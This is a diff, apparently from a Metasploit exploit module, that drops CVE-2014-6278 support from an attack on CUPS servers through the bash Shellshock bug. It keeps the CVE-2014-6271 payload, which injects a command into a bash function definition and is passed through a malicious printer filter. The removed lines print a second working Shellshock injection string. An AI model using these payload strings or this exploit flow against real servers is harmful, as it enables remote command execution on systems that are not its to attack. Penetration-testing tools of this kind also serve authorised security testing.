@@ -19,7 +19,6 @@ def initialize(info = {})
19
19
} ,
20
20
'Author' => [
21
21
'Stephane Chazelas' , # Vulnerability discovery
22
- 'lcamtuf' , # CVE-2014-6278
23
22
'Brendan Coles <bcoles[at]gmail.com>' # msf
24
23
] ,
25
24
'References' => [
@@ -54,7 +53,6 @@ def initialize(info = {})
54
53
OptBool . new ( 'SSL' , [ true , 'Use SSL' , true ] ) ,
55
54
OptString . new ( 'USERNAME' , [ true , 'CUPS username' , 'root' ] ) ,
56
55
OptString . new ( 'PASSWORD' , [ true , 'CUPS user password' , '' ] ) ,
57
- OptEnum . new ( 'CVE' , [ true , 'CVE to exploit' , 'CVE-2014-6271' , [ 'CVE-2014-6271' , 'CVE-2014-6278' ] ] ) ,
58
56
OptString . new ( 'RPATH' , [ true , 'Target PATH for binaries' , '/bin' ] )
59
57
] , self . class )
60
58
end
@@ -66,13 +64,6 @@ def cve_2014_6271(cmd)
66
64
%{() { :;}; $(#{ cmd } ) & }
67
65
end
68
66
69
- #
70
- # CVE-2014-6278
71
- #
72
- def cve_2014_6278 ( cmd )
73
- %{() { _; } >_[$($())] { $(#{ cmd } ) & }}
74
- end
75
-
76
67
#
77
68
# Check credentials
78
69
#
@@ -107,17 +98,9 @@ def exploit
107
98
@cookie = rand_text_alphanumeric ( 16 )
108
99
printer_name = rand_text_alphanumeric ( 10 + rand ( 5 ) )
109
100
110
- # Select target CVE
111
- case datastore [ 'CVE' ]
112
- when 'CVE-2014-6278'
113
- cmd = cve_2014_6278 ( payload . raw )
114
- else
115
- cmd = cve_2014_6271 ( payload . raw )
116
- end
117
-
118
101
# Add a printer containing the payload
119
102
# with a CUPS filter pointing to /bin/bash
120
- res = add_printer ( printer_name , cmd )
103
+ res = add_printer ( printer_name , cve_2014_6271 ( payload . raw ) )
121
104
if !res
122
105
fail_with ( Failure ::Unreachable , "#{ peer } - Could not add printer - Connection failed." )
123
106
elsif res . body =~ /Set Default Options for #{ printer_name } /
0 commit comments